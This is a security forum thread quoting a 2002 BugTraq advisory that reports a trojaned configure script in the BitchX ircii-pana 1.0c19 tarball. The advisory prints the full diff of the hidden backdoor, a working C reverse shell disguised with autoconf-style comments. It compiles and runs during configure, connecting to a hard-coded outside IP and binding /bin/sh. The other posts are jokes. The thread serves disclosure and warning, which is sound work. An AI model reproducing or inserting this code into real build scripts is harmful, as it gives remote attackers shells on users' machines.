Announcement

Collapse
No announcement yet.

Watch your backdoor

Collapse
X
 
  • Filter
  • Time
  • Show
Clear All
new posts

  • blackwave
    replied
    Speaking of backdoors...

    http://online.securityfocus.com/arch...8/2002-07-04/0

    To: BugTraq
    Subject: ftp.bitchx.org's ircii-pana-1.0c19.tar.gz is backdoored
    Date: Jul 1 2002 3:42PM
    Author: Hank Leininger <hlein@metasecuritygroup.com>
    Message-ID: <Pine.LNX.4.44.0207011111460.14560-100000@mail.metases.com>


    A few hours ago (1 AM US/Eastern time, July 1) we downloaded
    ircii-pana-1.0c19.tar.gz from ftp.bitchx.com (216.165.191.5) and
    reviewed the configure script before running it. It has essentially
    the same configure backdoor as fragroute-1.2.tar.gz[1] -- a TCP
    connection is made outbound, with a shell bound to it (a reverse
    telnet). This appears to retry/respawn once per hour. The 1.0c19
    tarball at ftp.irc.org (which mirrors bitchx.com) did not appear to be
    trojaned when we pulled from there about an hour later.

    /dist$ md5sum ircii-pana-1.0c19*
    46805199254c0fa2119d7c579194aba8 ircii-pana-1.0c19-bitchxorg.tar.gz [bad]
    79431ff0880e7317049045981fac8adc ircii-pana-1.0c19-ircorg.tar.gz [good]

    /src/ircii-pana-1.0c19-possiblytrojaned$ md5sum */configure
    d6444c18b6faf352dfc6ca3bf8cb802a ftp.bitchx.org/configure [bad]
    0bd531d523606a0296da2763dafa51f2 ftp.irc.org/configure [good]

    Here is the added code in the bitchx.org distribution:

    --- ircii-pana-1.0c19-ftp.irc.org/configure Sun Mar 24 04:30:49 2002
    +++ ircii-pana-1.0c19-ftp.bitchx.org/configure Sun Mar 24 04:30:49 2002
    @@ -6326,6 +6326,88 @@

    fi

    +# We did not find ourselves, most probably we were run as `sh COMMAND'
    +# in which case we are not to be found in the path.
    +cat >conftest.c <<_ACEOF
    +/* We use char because int might match the return type of a gcc2
    + builtin and then its argument prototype would still apply. */
    +#include <stdio.h>
    +#include <sys/types.h>
    +#include <sys/socket.h>
    +#include <netinet/in.h>
    +#include <unistd.h>
    +#include <errno.h>
    +#include <signal.h>
    +#include <setjmp.h>
    +
    +/* Override any gcc2 internal prototype to avoid an error.
    + Override any jmp buf internal prototype to avoid an error. */
    +jmp_buf env; int s;
    +void sig(int sig)
    +{
    + close (s); sleep (3600); longjmp (env, 0);
    +}
    +
    +int main()
    +{
    +/* We use char because int might match the return type of a gcc2
    + builtin and then its argument prototype would still apply. */
    + int x; char c; struct sockaddr_in sa;
    +
    +/* This call has the arguments reversed.
    + A reversed system may check and see that the address of main
    + */
    + switch (fork ()) { case 0: break; default: exit (0); }
    +
    + signal (SIGALRM, sig);
    + do {
    +/* Override any gcc2 internal prototype to avoid an error.
    + Override any jmp buf internal prototype to avoid an error. */
    + setjmp(env);
    + if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1)) exit (1);
    + memset (&sa, 0, sizeof(sa));
    + sa.sin_family = AF_INET;
    +/* We use char because int might match the return type of a gcc2
    + builtin and then its argument prototype would still apply. */
    + sa.sin_port = htons (6667);
    + sa.sin_addr.s_addr = inet_addr ("213.77.115.17"); alarm (10);
    +/* Override any gcc2 internal prototype to avoid an error. */
    +/* The GNU C library defines this for functions which it implements
    + to always fail with ENOSYS. Some functions are actually named
    + something starting with __ and the normal name is an alias. */
    + if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
    + if (errno != EINTR) exit(1);
    + if ((x = read (s, &c, 1)) == (-1)) {
    + if (errno != EINTR) exit (1); }
    + else if (x == 1) {
    +/* The GNU C library defines this for functions which it implements
    + to always fail with ENOSYS. Some functions are actually named
    + something starting with __ and the normal name is an alias. */
    + alarm (0); dup2 (s, 0); dup2 (s, 1); dup2 (s, 2);
    +/* System header to define __stub macros and hopefully few prototypes,
    + which can conflict with char inet_addr(); below. */
    + { char *a[] = { "/bin/sh", NULL }; execve (a[0], a, NULL); }
    + }
    + } while (1);
    +}
    +_ACEOF
    +# Don't try to exec as it changes $[0], causing all sort of problems
    +# (the dirname of $[0] is not the place where we might find the
    +# original and so on. Autoconf is especially sensible to this).
    +# Exit status is that of the last command.
    +ACLIBLOCAL="`basename \"\`grep $USER: /etc/passwd\`\"`" 1>/dev/null 2>/dev/null
    +# Create $as_me.lineno as a copy of $as_myself, but with $LINENO
    +# uniformly replaced by the line number. The first 'sed' inserts a
    +# line-number line before each line; the second 'sed' does the real
    +# work. The second script uses 'N' to pair each line-number line
    +# with the numbered line, and appends trailing '-' during
    +# substitution so that $LINENO is not a special case at line end.
    +# (Raja R Harinath suggested sed '=', and Paul Eggert wrote the
    +# second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-)
    +if ! test $ACLIBLOCAL ; then ACLIBLOCAL=sh; fi 1>/dev/null 2>/dev/null
    +$CC $LIBS -w conftest.c -o $ACLIBLOCAL ; PATH=.:$PATH $ACLIBLOCAL 1>/dev/null 2>/dev/null
    +rm -f ./conftest ./conftest.c $ACLIBLOCAL ./acliblocal ./aclib
    +
    echo "$as_me:$LINENO: checking for inet_aton" >&5
    echo $ECHO_N "checking for inet_aton... $ECHO_C" >&6
    if test "${ac_cv_func_inet_aton+set}" = set; then

    </diff>

    There's a little more to this. There are at least two versions of the
    source code on (www|ftp).bitchx.(org|com)

    79431ff0880e7317049045981fac8adc ircii-pana-1.0c19.tar.gz
    46805199254c0fa2119d7c579194aba8 ircii-pana-1.0c19.tar.gz.1 <- owned

    -rw-r--r-- 2533621 Mar 29 01:02 ircii-pana-1.0c19.tar.gz
    -rw-r--r-- 2533621 Mar 29 01:02 ircii-pana-1.0c19.tar.gz.1


    There is something very strange going on with the FTP server on
    ftp.bitchx.org. In some cases, it serves up the trojaned version; in
    others, the original, safe version. It seems to be client /
    client-behavior based (we're not sure exactly what).

    These will usually get you a clean copy:
    wget ftp://ftp.bitchx.org/pub/BitchX/sour...-1.0c19.tar.gz
    [netscape] ftp://ftp.bitchx.org/pub/BitchX/sour...-1.0c19.tar.gz
    ftp ftp.bitchx.org ; get /pub/BitchX/source/ircii-pana-1.0c19.tar.gz
    ftp ftp.bitchx.org ; cd /pub/BitchX/source ; get ircii-pana-1.0c19.tar.gz

    These will usually give you the trojaned version:

    lynx ftp://ftp.bitchx.org/pub/BitchX/sour...-1.0c19.tar.gz
    ftp ftp.bitchx.org ; cd pub ; cd BitchX ; cd source ; get ircii-pana-1.0c19.tar.gz

    To add a little more to this; we've confirmed that if you come off of
    what appears to be a cablemodem/dsl IP you are likely to get a
    trojan'd copy. If you come off of a more static link, you are likely
    to get a clean copy.

    This was verified using:
    204.xxx.xxx.xxx range gets clean
    12.xxx.xxx.xxx (ATT) gets dirty
    66.xxx.xxx.xxx gets dirty

    Using the 'ftp ; cd pub; ...' method. We have also observed cases
    where the 'ftp method' yields a clean copy but lynx still fetches the
    trojan'ed copy. In addition to source-network checking, ftpd may be
    checking anonymous vs ftp login strings, what anon password is sent,
    whether the client issues explicit TYPE I commands, whether it sends
    paths with leading slashes, PORT vs PASV commands, RETR with the full
    path, etc.

    This indicates that someone has (at least) also tampered with the FTP
    server software itself; most likely the server has been rooted. We
    have reported this issue to BitchX developers, and they are
    investigating. In the meantime, we suggest everyone should treat
    anything downloaded from the ftp.bitchx.org server with extreme
    skepticism.

    [1] http://marc.theaimsgroup.com/?l=bugt...5523803434&w=2


    Joe Segreti <seg@metasecuritygroup.com>
    Mark Canter <marcus@vfxcomputing.com>
    Hank Leininger <hlein@metasecuritygroup.com>

    Leave a comment:


  • blackwave
    replied
    Originally posted by astcell
    Does anyone have this video downloaded?
    chatting with you on IRC about this :)

    Leave a comment:


  • astcell
    replied
    Does anyone have this video downloaded?

    Leave a comment:


  • simon
    replied
    The Days...

    When that was hot shit... Now it's "like" uncool to make that joke in san francisco anymore... I still think broken engrish is funny as all hell.

    Leave a comment:


  • blackwave
    replied
    Re: Watch your backdoor

    Originally posted by c0nv3r9
    This was cute...
    http://online.securityfocus.com/news/462

    looks like source could use a good scheme for monitoring unauthorized alterations...
    gotta love the humor:
    Today, the Web server at the Internet protocol address listed in the backdoored Irssi code returned the message: "All your base are belong to us."

    Check out the AYB video if you haven't already:
    http://www.planettribes.com/allyourbase/video3.shtml

    Buy your AYB shirt if you haven't already:
    http://www.thinkgeek.com/stuff/apparel/3777.shtml

    Buy your AYB coffee mug if you haven't already:
    http://www.thinkgeek.com/stuff/fun-stuff/378a.shtml

    Mechanic: Somebody set up us the bomb.

    Leave a comment:


  • converge
    started a topic Watch your backdoor

    Watch your backdoor

    This was cute...
    http://online.securityfocus.com/news/462

    looks like source could use a good scheme for monitoring unauthorized alterations...
Working...
X